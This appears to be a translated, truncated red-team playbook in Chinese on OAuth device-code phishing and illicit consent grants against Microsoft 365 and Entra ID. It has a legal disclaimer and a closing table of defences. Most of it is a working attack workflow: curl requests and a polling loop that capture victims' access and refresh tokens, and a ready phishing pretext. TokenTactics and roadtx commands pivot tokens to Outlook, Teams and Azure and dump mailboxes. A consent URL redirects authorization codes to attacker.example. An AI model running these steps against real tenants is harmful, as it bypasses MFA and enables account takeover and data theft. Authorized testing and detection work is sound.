利用裝置代碼釣魚攻擊 OAuth 是做什麼的?
法律聲明: 本技能僅限於授權的安全測試、紅隊演練及教育目的。裝置代碼與同意授權釣魚會操縱真實使用者,授權攻擊者存取企業身分。請僅對您擁有的租戶或已取得明確書面授權(交戰規則)的租戶執行本操作。未經授權的使用違反了《電腦詐欺與濫用法》及世界各國的同等法律。
概述
OAuth 2.0 裝置授權許可(RFC 8628)是專為輸入受限的裝置(如智慧電視、CLI 工具)所設計,這些裝置難以呈現瀏覽器式的登入流程。裝置會請求一組簡短的 user_code 和一個 device_code,向使用者顯示 user_code 和驗證 URL,然後在使用者於另一台功能完整的裝置上進行驗證的同時,輪詢權杖端點。攻擊者將此流程武器化:攻擊者的機器扮演「裝置」的角色,而非智慧電視。攻擊者發起裝置代碼請求,然後透過釣魚引誘受害者造訪合法的 Microsoft 驗證頁面 (https://microsoft.com/devicelogin) 並輸入攻擊者產生的 user_code。由於受害者是在真實的 Microsoft 登入頁面上進行驗證(包括完成 MFA),因此最終產生的權杖會歸屬於攻擊者的輪詢會話。此流程完全繞過了 MFA:第二因素由受害者滿足,但持有者權杖卻落入攻擊者手中(對應至 MITRE ATT&CK T1528 – 竊取應用程式存取權杖)。
Microsoft 威脅情報中心、Volexity 和 Proofpoint 記錄了截至 2025 年裝置代碼釣魚攻擊的急劇增長,其中俄羅斯相關的攻擊者(Microsoft 追蹤為 Storm-2372)是最活躍的群體之一。Mandiant 的 M-Trends 報告同樣強調 OAuth 權杖竊取是領先的雲端初始存取向量。一個密切相關的技術是未經授權的同意授權(「OAuth 釣魚」):攻擊者註冊一個多租戶應用程式,並引誘受害者點擊 /adminconsent 或使用者同意 URL,授予惡意應用程式委派的 Microsoft Graph 權限(如 Mail.Read、Files.ReadWrite.All、offline_access),這些權限在密碼重設後仍然有效。本技能涵蓋這兩種技術,以及使用 TokenTactics 在 Microsoft 365 服務間進行權杖重播,並使用 ROADtools 進行驗證和存取映射。
紅隊利用的一個關鍵特性:透過裝置代碼流程頒發的存取權杖有效期約為 60–90 分鐘,但隨附的更新權杖(包含 offline_access 範圍)可存活長達 90 天,並且可以兌換成針對客戶端允許請求的任何第一方資源(Outlook、SharePoint、Teams、Azure 資源管理器)的新權杖,從而實現持久且繞過 MFA 的存取。
使用時機
- 在執行目標為 Microsoft 365 / Entra ID 的授權紅隊或假設入侵演練時,且社交工程在演練範圍內。
- 在針對真實釣魚技術驗證條件式存取政策、MFA 強制執行和權杖保護控制項時。
- 在測試組織是否限制了 OAuth 裝置代碼流程或封鎖未經驗證的多租戶應用程式同意時。
- 在展示 MFA 繞過風險以證明需要抗釣魚驗證(FIDO2)和權杖綁定控制項時。
- 在建置偵測機制(與藍隊的
hunting-saas-sso-token-abuse技能搭配使用)且需要真實遙測數據時。
先決條件
- 明確允許針對目標租戶進行釣魚和權杖竊取的書面授權 / 交戰規則。
- 一個受控的藉口傳遞管道(經批准的釣魚基礎設施或內部測試信箱)。
- Linux 或 Windows 攻擊者主機,需安裝 Python 3.8+ 和 PowerShell 7+。
- 已安裝 TokenTactics (PowerShell) 和 ROADtools (Python):
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security pip install roadtools roadtools_auth # roadtx (ROADtools Token eXchange) 包含在 roadtools_auth 中 roadtx --help # TokenTactics v2 (rvrsh3ll) git clone https://github.com/rvrsh3ll/TokenTactics.git pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1" - 熟悉 OAuth 2.0 授權類型、JWT 結構和 Microsoft Graph 範圍。
目標
- 使用第一方客戶端 ID 對 Entra ID 發起 OAuth 裝置代碼請求。
- 提供一個可信的藉口,引導受害者造訪真實的 Microsoft 裝置登入頁面。
- 輪詢權杖端點並捕獲受害者的存取權杖和更新權杖。
- 跨 Microsoft 365 資源 (Graph, Outlook, Azure 管理) 更新權杖以擴大存取範圍。
- 透過註冊惡意多租戶應用程式並誘騙其同意,執行未經授權同意授權的變體攻擊。
- 使用 ROADtools 列舉可存取的資源和資料以展示影響。
- 記錄 MFA 繞過並提出補救建議。
MITRE ATT&CK 映射
| ID | 技術 | 在本技能中的應用 |
|---|---|---|
| T1528 | 竊取應用程式存取權杖 | 針對裝置代碼流程 / 同意授權進行釣魚,會產生由攻擊者控制的 OAuth 存取和更新權杖,這些權杖可被重複用於存取雲端服務而無需重新驗證 |
常被鏈結的相關技術:T1566 釣魚(傳遞)、T1550.001 應用程式存取權杖(重播被竊權杖)、T1098.003 帳戶操縱:新增雲端角色(透過同意授權維持持久性)。
工作流程
階段 1:發起裝置代碼請求
攻擊者向 Entra ID 請求一個裝置代碼,並選擇一個受害者隱含信任的第一方客戶端。Microsoft Office 客戶端 ID d3590ed6-52b3-4102-aeff-aad2292ab01c 是常用選擇,因為它已預先獲得廣泛第一方資源的授權。
-
直接透過權杖端點請求裝置代碼:
# client_id = Microsoft Office; scope 請求 offline_access 以獲得長期有效的更新權杖 curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json -
JSON 回應包含您將武器化的欄位:
{ "user_code": "B7HVQXKZ2", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, "interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B7HVQXKZ2 to authenticate." } -
請注意 15 分鐘(
expires_in: 900)的有效期限——藉口必須驅使受害者快速驗證。使用 TokenTactics 的等效操作(會自動處理輪詢):
Import-Module ./TokenTactics/TokenTactics.psd1 # 產生裝置代碼並開始輪詢;輸出要進行釣魚的 user_code Get-AzureToken -Client MSGraph
階段 2:傳遞藉口
釣魚訊息不得包含憑證收集連結——受害者是在真實的 Microsoft 頁面上進行驗證,這正是繞過使用者懷疑和 MFA 的關鍵。
- 製作一個引用真實
https://microsoft.com/deviceloginURL 和user_code的藉口(例如:「IT 部門正在將您的帳戶登記到新的 Teams Rooms 裝置;請開啟 microsoft.com/devicelogin 並在 15 分鐘內輸入代碼 B7HVQXKZ2」)。 - 透過經批准的釣魚基礎設施發送。帶有超連結的代碼/URL 通常會被歸類為垃圾郵件,因此請以純文字形式呈現 URL 和代碼。
- 將發送時間安排在輪詢週期開始時,以確保代碼是新鮮的。
階段 3:輪詢並捕獲權杖
在受害者驗證並批准的同時,使用 device_code 輪詢權杖端點,直到頒發權杖。
- 按照伺服器指定的間隔(5 秒)進行輪詢;在受害者完成登入之前,預期會收到
authorization_pending:DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])") while true; do RESP=$(curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \ -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d "device_code=${DEVICE_CODE}") echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; } echo "$RESP" | grep -q authorization_pending || echo "$RESP" sleep 5 done - 成功時,回應會包含
access_token、refresh_token、id_token、expires_in和已授予的scope。 - 解碼存取權杖以確認捕獲的身分、目標對象和範圍:
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
階段 4:跨 Microsoft 365 資源更新權杖
更新權杖(包含 offline_access)可以兌換成針對其他第一方資源的權杖,從而將存取範圍擴展到原始範圍之外。
- 使用 TokenTactics 的更新函數,將更新權杖轉向特定服務:
# $response 保存來自 Get-AzureToken 的裝置代碼結果 $rt = $response.refresh_token Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # 信箱存取 Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt - 使用 roadtx 的等效操作,將更新權杖兌換為新資源:
roadtx refreshtokento \ -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c \ -s https://graph.microsoft.com/.default - 示範信箱存取以證明影響(唯讀,限制在演練規則範圍內):
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
階段 5:未經授權同意授權變體
此變體不使用裝置代碼,而是註冊一個惡意的多租戶應用程式,並引誘受害者同意委派的 Graph 權限,以建立持久且不受密碼重設影響的存取。
- 在攻擊者租戶中註冊一個多租戶應用程式,請求委派範圍,例如
Mail.Read、Files.ReadWrite.All、offline_access。 - 建構一個使用者同意 URL 並進行釣魚:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize? client_id=<ATTACKER_APP_ID> &response_type=code &redirect_uri=https://attacker.example/callback &response_mode=query &scope=offline_access%20Mail.Read%20Files.ReadWrite.All &state=12345 - 當受害者同意後,將返回的
code兌換為權杖:curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \ -d 'client_id=<ATTACKER_APP_ID>' \ -d 'grant_type=authorization_code' \ -d 'code=<AUTH_CODE>' \ -d 'redirect_uri=https://attacker.example/callback' \ -d 'client_secret=<APP_SECRET>' \ -d 'scope=offline_access Mail.Read Files.ReadWrite.All' - 已同意的 OAuth 授權會作為服務主體授權持續存在於受害者租戶中,直到管理員將其撤銷 (
Remove-MgServicePrincipalOauth2PermissionGrant)。
階段 6:使用 ROADtools 列舉影響
- 使用捕獲的權杖 / 更新權杖驗證 roadrecon 並轉存目錄:
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c roadrecon gather roadrecon gui # 瀏覽使用者、群組、應用程式註冊、角色指派 - 識別高價值存取:角色指派、擁有的應用程式、可存取的 SharePoint 網站以及其他同意授權。
- 記錄被竊權杖確切存取的資料和角色,以納入演練報告。
工具與資源
| 工具 | 用途 | 來源 |
|---|---|---|
| TokenTactics v2 | 跨 M365 服務產生裝置代碼和更新權杖 | https://github.com/rvrsh3ll/TokenTactics |
| ROADtools (roadrecon / roadtx) | 權杖交換、目錄列舉、存取映射 | https://github.com/dirkjanm/ROADtools |
| AADInternals | Entra ID 攻擊/偵查 PowerShell 工具組 | https://github.com/Gerenios/AADInternals |
| RFC 8628 | OAuth 2.0 裝置授權許可規範 | https://datatracker.ietf.org/doc/html/rfc8628 |
| Microsoft / Storm-2372 公告 | 裝置代碼釣魚攻擊活動分析 | https://www.microsoft.com/en-us/security/blog/ |
| Mandiant M-Trends | OAuth 權杖竊取趨勢報告 | https://cloud.google.com/security/resources/m-trends |
防禦建議
| 控制項 | 效果 |
|---|---|
條件式存取政策:為不需要的使用者封鎖裝置代碼流程 (authenticationFlows) | 消除大部分使用者的攻擊面 |
| 抗釣魚 MFA (FIDO2 / 通行金鑰) + 權杖保護 (權杖綁定) | 綁定的權杖無法在受害者裝置外重播 |
| 限制使用者僅能同意已驗證的發行者 / 要求管理員同意 | 封鎖未經授權的同意授權 |
| 在不受信任的網路上設定登入頻率 + 較短的會話存留期 | 限制更新權杖的壽命 |
監控 AADNonInteractiveUserSignInLogs 中的裝置代碼授權和異常權杖使用 | 偵測(請參閱 hunting-saas-sso-token-abuse) |
驗證標準
- 裝置代碼請求返回了有效的
user_code和device_code - 已傳遞引用真實 Microsoft 裝置登入頁面的藉口(無收集連結)
- 已輪詢權杖端點並捕獲
access_token+refresh_token
…
[原文已截斷以進行翻譯]